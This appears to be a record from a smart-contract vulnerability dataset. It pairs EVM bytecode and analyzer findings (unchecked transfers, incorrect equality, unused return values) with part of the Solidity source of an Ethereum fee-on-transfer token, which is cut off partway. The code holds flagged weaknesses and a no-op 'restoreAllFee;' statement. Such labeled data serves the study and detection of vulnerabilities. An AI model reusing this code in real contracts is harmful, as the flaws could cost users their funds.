0x60806040526004361061003f5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416627743608114610044575b600080fd5b34801561005057600080fd5b50610064600480356024810191013561008d565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b600082828281811061009b57fe5b9050013560f860020a900460f860020a02600160f860020a031916600160f860020a031916606f60f860020a0214801561010c5750828260018181106100dd57fe5b9050013560f860020a900460f860020a02600160f860020a031916600160f860020a031916605f60f860020a02145b801561014f57508282600281811061012057fe5b9050013560f860020a900460f860020a02600160f860020a031916600160f860020a031916605360f860020a02145b801561019257508282600381811061016357fe5b9050013560f860020a900460f860020a02600160f860020a031916600160f860020a031916605d60f860020a02145b8061029c5750828260008181106101a557fe5b9050013560f860020a900460f860020a02600160f860020a031916600160f860020a031916601860f860020a021480156102165750828260018181106101e757fe5b9050013560f860020a900460f860020a02600160f860020a031916600160f860020a031916602a60f860020a02145b801561025957508282600281811061022a57fe5b9050013560f860020a900460f860020a02600160f860020a031916600160f860020a031916605460f860020a02145b801561029c57508282600381811061026d57fe5b9050013560f860020a900460f860020a02600160f860020a031916600160f860020a031916601560f860020a02145b15156102a757600080fd5b6102af61031c565b604051809103906000f0801580156102cb573d6000803e3d6000fd5b5090508073ffffffffffffffffffffffffffffffffffffffff168383604051808383808284378201915050925050506000604051808303816000865af1915050151561031657600080fd5b92915050565b604051612d8e8061032d8339019056006000608081815260c060405260a08281529091620000206003838362000054565b5081516200003690600490602085019062000054565b506005805460ff191660ff9290921691909117905550620000f99050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200009757805160ff1916838001178555620000c7565b82800160010185558215620000c7579182015b82811115620000c7578251825591602001919060010190620000aa565b50620000d5929150620000d9565b5090565b620000f691905b80821115620000d55760008155600101620000e0565b90565b612c8580620001096000396000f3006080604052600436106101695763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461016e578063095ea7b3146101f857806315daab901461023057806318160ddd1461028c578063182a5415146102b35780631e1401f8146103c257806323b872dd146103ec578063313ce5671461041657806340c10f191461044157806342966c68146104655780634686b4be1461047d5780634f64b2be14610553578063503adbf614610587578063555b6162146105a357806359f8714b146106085780635e5144eb1461063457806366188463146106615780636f5f535d146106855780636ff97f1d1461079457806370a08231146107a957806395d89b41146107ca578063a7cac846146107df578063a9059cbb14610800578063c1f04f3c14610824578063c97ec03314610839578063d73dd6231461086a578063dd62ed3e1461088e578063e82c6e8a146108b5575b600080fd5b34801561017a57600080fd5b5061018361091c565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101bd5781810151838201526020016101a5565b50505050905090810190601f1680156101ea5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020457600080fd5b5061021c600160a060020a03600435166024356109aa565b604080519115158252519081900360200190f35b34801561023c57600080fd5b5060408051602060046024803582810135848102808701860190975280865261028a96843596369660449591949091019291829185019084908082843750949750610a119650505050505050565b005b34801561029857600080fd5b506102a1610d83565b60408051918252519081900360200190f35b3480156102bf57600080fd5b506040805160206004803580820135838102808601850190965280855261028a95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497505050923560ff169350610d8a92505050565b3480156103ce57600080fd5b506102a1600160a060020a0360043581169060243516604435610d9e565b3480156103f857600080fd5b5061021c600160a060020a0360043581169060243516604435610dcb565b34801561042257600080fd5b5061042b610f30565b6040805160ff9092168252519081900360200190f35b34801561044d57600080fd5b5061028a600160a060020a0360043516602435610f39565b34801561047157600080fd5b5061028a6004356110d8565b34801561048957600080fd5b506040805160206004803580820135838102808601850190965280855261028a9536959394602494938501929182918501908490808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497505050923560ff16935061113f92505050565b34801561055f57600080fd5b5061056b6004356113e3565b60408051600160a060020a039092168252519081900360200190f35b34801561059357600080fd5b5061056b61ffff6004351661140b565b3480156105af57600080fd5b506105b861143b565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156105f45781810151838201526020016105dc565b505050509050019250505060405180910390f35b34801561061457600080fd5b5061061d61153b565b6040805161ffff9092168252519081900360200190f35b34801561064057600080fd5b506102a1600160a060020a0360043581169060243516604435606435611541565b34801561066d57600080fd5b5061021c600160a060020a03600435166024356119c0565b34801561069157600080fd5b506040805160206004803580820135838102808601850190965280855261028a95369593946024949385019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375050604080516020601f89358b018035918201839004830284018301909452808352979a99988101979196509182019450925082915084018382808284375050604080516020601f89358b018035918201839004830284018301909452808352979a9998810197919650918201945092508291508401838280828437509497505050923560ff169350611ab092505050565b3480156107a057600080fd5b506105b8611abe565b3480156107b557600080fd5b506102a1600160a060020a0360043516611b20565b3480156107d657600080fd5b50610183611b3b565b3480156107eb57600080fd5b506102a1600160a060020a0360043516611b96565b34801561080c57600080fd5b5061021c600160a060020a0360043516602435611ba8565b34801561083057600080fd5b506105b8611c77565b34801561084557600080fd5b506102a1600160a060020a036004358116906024358116906044359060643516611d15565b34801561087657600080fd5b5061021c600160a060020a036004351660243561217b565b34801561089a57600080fd5b506102a1600160a060020a0360043581169060243516612214565b3480156108c157600080fd5b50604080516020600460443581810135838102808601850190965280855261028a958335600160a060020a031695602480359636969560649593949201929182918501908490808284375094975061223f9650505050505050565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109a25780601f10610977576101008083540402835291602001916109a2565b820191906000526020600020905b81548152906001019060200180831161098557829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b60008060008060008551111515610a72576040805160e560020a62461bcd02815260206004820152601e60248201527f4172726179206f6620746f6b656e732063616e277420626520656d7074790000604482015290519081900360640190fd5b60015433600090815260208190526040902054909450610a98908763ffffffff6122cd16565b33600090815260208190526040902055610ab8848763ffffffff6122cd16565b60015560408051878152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a26040805187815290516000913391600080516020612c3a8339815191529181900360200190a3600092505b8451831015610d7b578483815181101515610b3357fe5b60209081029091018101516040805160e060020a6370a082310281523060048201529051600160a060020a03909216926370a08231926024808401938290030181600087803b158015610b8557600080fd5b505af1158015610b99573d6000803e3d6000fd5b505050506040513d6020811015610baf57600080fd5b50519150610bd384610bc7848963ffffffff6122df16565b9063ffffffff61230816565b90508483815181101515610be357fe5b6020908102909101810151604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018590529051600160a060020a039092169263a9059cbb926044808401938290030181600087803b158015610c5257600080fd5b505af1158015610c66573d6000803e3d6000fd5b505050506040513d6020811015610c7c57600080fd5b50610c8f9050828263ffffffff6122cd16565b8584815181101515610c9d57fe5b60209081029091018101516040805160e060020a6370a082310281523060048201529051600160a060020a03909216926370a08231926024808401938290030181600087803b158015610cef57600080fd5b505af1158015610d03573d6000803e3d6000fd5b505050506040513d6020811015610d1957600080fd5b505114610d70576040805160e560020a62461bcd02815260206004820152601660248201527f496e76616c696420746f6b656e206265686176696f7200000000000000000000604482015290519081900360640190fd5b600190920191610b1c565b505050505050565b6001545b90565b610d978585858585611ab0565b5050505050565b6000610dc36103e8610bc76103e6610db788888861231d565b9063ffffffff6122df16565b949350505050565b6000600160a060020a0383161515610de257600080fd5b600160a060020a038416600090815260208190526040902054821115610e0757600080fd5b600160a060020a0384166000908152600260209081526040808320338452909152902054821115610e3757600080fd5b600160a060020a038416600090815260208190526040902054610e60908363ffffffff6122cd16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610e95908363ffffffff6124ce16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610ed7908363ffffffff6122cd16565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020612c3a833981519152929181900390910190a35060019392505050565b60055460ff1681565b6001546060906000901515610fbe576040805160e560020a62461bcd02815260206004820152603760248201527f54686973206d6574686f642063616e20626520757365642077697468206e6f6e60448201527f207a65726f20746f74616c20737570706c79206f6e6c79000000000000000000606482015290519081900360840190fd5b600654604080518281526020808402820101909152908015610fea578160200160208202803883390190505b509150600090505b6006548110156110c7576110a7600154610bc78560068581548110151561101557fe5b60009182526020808320909101546040805160e060020a6370a082310281523060048201529051600160a060020a03909216936370a082319360248084019491939192918390030190829087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d602081101561109957600080fd5b50519063ffffffff6122df16565b82828151811015156110b557fe5b60209081029091010152600101610ff2565b6110d28484846124db565b50505050565b61113c81600680548060200260200160405190810160405280929190818152602001828054801561113257602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311611114575b5050505050610a11565b50565b60055460ff16156111c0576040805160e560020a62461bcd02815260206004820152602660248201527f696e69743a20636f6e74726163742077617320616c726561647920696e69746960448201527f616c697a65640000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600060ff821611611241576040805160e560020a62461bcd02815260206004820152602260248201527f696e69743a205f646563696d616c732073686f756c64206e6f74206265207a6560448201527f726f000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b825160001061129a576040805160e560020a62461bcd02815260206004820152601f60248201527f696e69743a205f6e616d652073686f756c64206e6f7420626520656d70747900604482015290519081900360640190fd5b8151600010611319576040805160e560020a62461bcd02815260206004820152602160248201527f696e69743a205f73796d626f6c2073686f756c64206e6f7420626520656d707460448201527f7900000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b835160021115611399576040805160e560020a62461bcd02815260206004820152603060248201527f436f6e747261637420646f206e6f7420737570706f7274206c6573732074686160448201527f6e203220696e6e657220746f6b656e7300000000000000000000000000000000606482015290519081900360840190fd5b82516113ac906003906020860190612b02565b5081516113c0906004906020850190612b02565b506005805460ff191660ff83161790558351610d97906006906020870190612b80565b60068054829081106113f157fe5b600091825260209091200154600160a060020a0316905081565b600060068261ffff1681548110151561142057fe5b600091825260209091200154600160a060020a031692915050565b606080600060068054905060405190808252806020026020018201604052801561146f578160200160208202803883390190505b509150600090505b60065481101561153557600680548290811061148f57fe5b60009182526020808320909101546040805160e060020a6370a082310281523060048201529051600160a060020a03909216936370a082319360248084019491939192918390030190829087803b1580156114e957600080fd5b505af11580156114fd573d6000803e3d6000fd5b505050506040513d602081101561151357600080fd5b5051825183908390811061152357fe5b60209081029091010152600101611477565b50919050565b60065490565b6000806000611551878787610d9e565b9250600083116115ab576040805160e560020a62461bcd02815260206004820152601960248201527f5468652072657475726e20616d6f756e74206973207a65726f00000000000000604482015290519081900360640190fd5b83831015611629576040805160e560020a62461bcd02815260206004820152602f60248201527f5468652072657475726e20616d6f756e74206973206c657373207468616e205f60448201527f6d696e52657475726e2076616c75650000000000000000000000000000000000606482015290519081900360840190fd5b6040805160e060020a6370a082310281523060048201529051600160a060020a038916916370a082319160248083019260209291908290030181600087803b15801561167457600080fd5b505af1158015611688573d6000803e3d6000fd5b505050506040513d602081101561169e57600080fd5b5051604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018890529051919350600160a060020a038916916323b872dd916064808201926020929091908290030181600087803b15801561171257600080fd5b505af1158015611726573d6000803e3d6000fd5b505050506040513d602081101561173c57600080fd5b50506040805160e060020a6370a08231028152306004820152905183870191600160a060020a038a16916370a08231916024808201926020929091908290030181600087803b15801561178e57600080fd5b505af11580156117a2573d6000803e3d6000fd5b505050506040513d60208110156117b857600080fd5b5051146117c457600080fd5b6040805160e060020a6370a082310281523060048201529051600160a060020a038816916370a082319160248083019260209291908290030181600087803b15801561180f57600080fd5b505af1158015611823573d6000803e3d6000fd5b505050506040513d602081101561183957600080fd5b5051604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018690529051919250600160a060020a0388169163a9059cbb916044808201926020929091908290030181600087803b1580156118a757600080fd5b505af11580156118bb573d6000803e3d6000fd5b505050506040513d60208110156118d157600080fd5b50506040805160e060020a6370a08231028152306004820152905184830391600160a060020a038916916370a08231916024808201926020929091908290030181600087803b15801561192357600080fd5b505af1158015611937573d6000803e3d6000fd5b505050506040513d602081101561194d57600080fd5b50511461195957600080fd5b33600160a060020a031686600160a060020a031688600160a060020a03167f24cee3d6b5651a987362aa6216b9d34a39212f0f1967dfd48c2c3a4fc3c576dc8887604051808381526020018281526020019250505060405180910390a45050949350505050565b336000908152600260209081526040808320600160a060020a038616845290915281205480831115611a1557336000908152600260209081526040808320600160a060020a0388168452909152812055611a4a565b611a25818463ffffffff6122cd16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b610d978585858560126128c7565b60606006805480602002602001604051908101604052809291908181526020018280548015611b1657602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311611af8575b5050505050905090565b600160a060020a031660009081526020819052604090205490565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156109a25780601f10610977576101008083540402835291602001916109a2565b60076020526000908152604090205481565b6000600160a060020a0383161515611bbf57600080fd5b33600090815260208190526040902054821115611bdb57600080fd5b33600090815260208190526040902054611bfb908363ffffffff6122cd16565b3360009081526020819052604080822092909255600160a060020a03851681522054611c2d908363ffffffff6124ce16565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020612c3a8339815191529281900390910190a350600192915050565b6060806000600680549050604051908082528060200260200182016040528015611cab578160200160208202803883390190505b509150600090505b6006548110156115355760076000600683815481101515611cd057fe5b6000918252602080832090910154600160a060020a031683528201929092526040019020548251839083908110611d0357fe5b60209081029091010152600101611cb3565b600080600080611d26888888610d9e565b935060008411611d80576040805160e560020a62461bcd02815260206004820152601960248201527f5468652072657475726e20616d6f756e74206973207a65726f00000000000000604482015290519081900360640190fd5b6040805160e060020a6370a082310281523060048201529051600160a060020a038a16916370a082319160248083019260209291908290030181600087803b158015611dcb57600080fd5b505af1158015611ddf573d6000803e3d6000fd5b505050506040513d6020811015611df557600080fd5b5051604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a0388811660048301526024820188905291519295509089169163095ea7b3916044808201926020929091908290030181600087803b158015611e6657600080fd5b505af1158015611e7a573d6000803e3d6000fd5b505050506040513d6020811015611e9057600080fd5b5050604080517f5e5144eb000000000000000000000000000000000000000000000000000000008152600160a060020a0389811660048301528a811660248301526044820187905260648201899052915191871691635e5144eb916084808201926020929091908290030181600087803b158015611f0d57600080fd5b505af1158015611f21573d6000803e3d6000fd5b505050506040513d6020811015611f3757600080fd5b50506040805160e060020a6370a082310281523060048201529051611fc2918591600160a060020a038c16916370a082319160248083019260209291908290030181600087803b158015611f8a57600080fd5b505af1158015611f9e573d6000803e3d6000fd5b505050506040513d6020811015611fb457600080fd5b50519063ffffffff6122cd16565b915085821015611fd157600080fd5b8582111561211357611fe9828763ffffffff6122cd16565b604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018390529051919250600160a060020a038a169163a9059cbb916044808201926020929091908290030181600087803b15801561205557600080fd5b505af1158015612069573d6000803e3d6000fd5b505050506040513d602081101561207f57600080fd5b506120929050838763ffffffff6124ce16565b6040805160e060020a6370a082310281523060048201529051600160a060020a038b16916370a082319160248083019260209291908290030181600087803b1580156120dd57600080fd5b505af11580156120f1573d6000803e3d6000fd5b505050506040513d602081101561210757600080fd5b50511461211357600080fd5b33600160a060020a031687600160a060020a031689600160a060020a03167f24cee3d6b5651a987362aa6216b9d34a39212f0f1967dfd48c2c3a4fc3c576dc8988604051808381526020018281526020019250505060405180910390a4505050949350505050565b336000908152600260209081526040808320600160a060020a03861684529091528120546121af908363ffffffff6124ce16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600154156122bd576040805160e560020a62461bcd02815260206004820152603360248201527f54686973206d6574686f642063616e20626520757365642077697468207a657260448201527f6f20746f74616c20737570706c79206f6e6c7900000000000000000000000000606482015290519081900360840190fd5b6122c88383836124db565b505050565b6000828211156122d957fe5b50900390565b60008215156122f057506000610a0b565b5081810281838281151561230057fe5b0414610a0b57fe5b6000818381151561231557fe5b049392505050565b600160a060020a038316600090815260076020526040812054819081908110801561235e5750600160a060020a038516600090815260076020526040812054115b801561237c575084600160a060020a031686600160a060020a031614155b156124c5576040805160e060020a6370a082310281523060048201529051600160a060020a038816916370a082319160248083019260209291908290030181600087803b1580156123cc57600080fd5b505af11580156123e0573d6000803e3d6000fd5b505050506040513d60208110156123f657600080fd5b50516040805160e060020a6370a082310281523060048201529051919350600160a060020a038716916370a08231916024808201926020929091908290030181600087803b15801561244757600080fd5b505af115801561245b573d6000803e3d6000fd5b505050506040513d602081101561247157600080fd5b505190506124c2612488838663ffffffff6124ce16565b600160a060020a0380881660009081526007602052604080822054928b168252902054610bc791908290610db7878b63ffffffff6122df16565b92505b50509392505050565b81810182811015610a0b57fe5b8051600654600091829114612560576040805160e560020a62461bcd02815260206004820152603960248201527f4c656e67687473206f6620746f6b656e7320616e64205f746f6b656e416d6f7560448201527f6e74732061727261792073686f756c6420626520657175616c00000000000000606482015290519081900360840190fd5b600091505b60065482101561280257600680548390811061257d57fe5b60009182526020808320909101546040805160e060020a6370a082310281523060048201529051600160a060020a03909216936370a082319360248084019491939192918390030190829087803b1580156125d757600080fd5b505af11580156125eb573d6000803e3d6000fd5b505050506040513d602081101561260157600080fd5b505160068054919250908390811061261557fe5b6000918252602090912001548351600160a060020a03909116906323b872dd903390309087908790811061264557fe5b6020908102909101810151604080517c010000000000000000000000000000000000000000000000000000000063ffffffff8816028152600160a060020a03958616600482015293909416602484015260448301529151606480830193928290030181600087803b1580156126b957600080fd5b505af11580156126cd573d6000803e3d6000fd5b505050506040513d60208110156126e357600080fd5b5050825161270e908490849081106126f757fe5b60209081029091010151829063ffffffff6124ce16565b600680548490811061271c57fe5b60009182526020808320909101546040805160e060020a6370a082310281523060048201529051600160a060020a03909216936370a082319360248084019491939192918390030190829087803b15801561277657600080fd5b505af115801561278a573d6000803e3d6000fd5b505050506040513d60208110156127a057600080fd5b5051146127f7576040805160e560020a62461bcd02815260206004820152601660248201527f496e76616c696420746f6b656e206265686176696f7200000000000000000000604482015290519081900360640190fd5b600190910190612565565b600154612815908563ffffffff6124ce16565b600155600160a060020a038516600090815260208190526040902054612841908563ffffffff6124ce16565b600160a060020a03861660008181526020818152604091829020939093558051878152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518581529051600160a060020a03871691600091600080516020612c3a8339815191529181900360200190a35050505050565b60006128d58685858561113f565b600654855114612955576040805160e560020a62461bcd02815260206004820152603560248201527f4c656e67687473206f66205f746f6b656e7320616e64205f776569676874732060448201527f61727261792073686f756c6420626520657175616c0000000000000000000000606482015290519081900360840190fd5b5060005b600654811015610d7b57848181518110151561297157fe5b6020908102909101015115156129f7576040805160e560020a62461bcd02815260206004820152602c60248201527f546865205f776569676874732061727261792073686f756c64206e6f7420636f60448201527f6e7461696e73207a65726f730000000000000000000000000000000000000000606482015290519081900360840190fd5b60076000600683815481101515612a0a57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205415612aaa576040805160e560020a62461bcd02815260206004820152602160248201527f546865205f746f6b656e732061727261792068617665206475706c696361746560448201527f7300000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b8481815181101515612ab857fe5b9060200190602002015160076000600684815481101515612ad557fe5b6000918252602080832090910154600160a060020a03168352820192909252604001902055600101612959565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612b4357805160ff1916838001178555612b70565b82800160010185558215612b70579182015b82811115612b70578251825591602001919060010190612b55565b50612b7c929150612bee565b5090565b828054828255906000526020600020908101928215612be2579160200282015b82811115612be2578251825473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03909116178255602090920191600190910190612ba0565b50612b7c929150612c08565b610d8791905b80821115612b7c5760008155600101612bf4565b610d8791905b80821115612b7c57805473ffffffffffffffffffffffffffffffffffffffff19168155600101612c0e5600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058208546acdae5572c2e16c7680082e485cb1186eb998e955f6c5cbea4ec8915a2f00029a165627a7a723058203b22351ba349188e2dd7b39f8a40200161e4bb81d38ae3f75dab86e29dea47250029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,718 |
0x9e5c6d8cdb49778d39e7ab1d2d6a7d3853f2336d
|
/**
*Submitted for verification at Etherscan.io on 2021-06-09
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract PROGEV2 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ERC20";
string private constant _symbol = "erc20";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public _progeBurned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
address payable private _presa;
address payable private _rogeTreasury;
address public ROGE = 0x45734927Fa2f616FbE19E65f42A0ef3d37d1c80A;
address public animalSanctuary = 0x4A462404ca4b7caE9F639732EB4DaB75d6E88d19;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool public tradeAllowed = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool public swapEnabled = false;
bool public feeEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _reflection = 2;
uint256 private _contractFee = 9;
uint256 private _progeBurn = 1;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_presa = addr1;
_rogeTreasury = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_presa] = true;
_isExcludedFromFee[_rogeTreasury] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setFeeEnabled( bool enable) public onlyOwner {
feeEnabled = enable;
}
function enableTrading( bool enable) public onlyOwner {
require(liquidityAdded);
tradeAllowed = enable;
}
function addLiquidity() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
liquidityAdded = true;
feeEnabled = true;
_maxTxAmount = 1000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualSwapTokensForEth() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualDistributeETH() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
distributeETH(contractETHBalance);
}
function manualRoge(uint amount) external onlyOwner() {
swapETHforRoge(amount);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner() ) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradeAllowed);
require(amount <= _maxTxAmount);
_contractFee = 9;
_reflection = 2;
_progeBurn = 1;
uint contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
swapETHforRoge(address(this).balance);
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
uint initialETHBalance = address(this).balance;
swapTokensForEth(contractTokenBalance);
uint newETHBalance = address(this).balance;
uint ethToDistribute = newETHBalance.sub(initialETHBalance);
if (ethToDistribute > 0) {
distributeETH(ethToDistribute);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || !feeEnabled) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function removeAllFee() private {
if (_reflection == 0 && _contractFee == 0 && _progeBurn == 0) return;
_reflection = 0;
_contractFee = 0;
_progeBurn = 0;
}
function restoreAllFee() private {
_reflection = 2;
_contractFee = 9;
_progeBurn = 1;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 amount) private {
(uint256 tAmount, uint256 tBurn) = _progeEthBurn(amount);
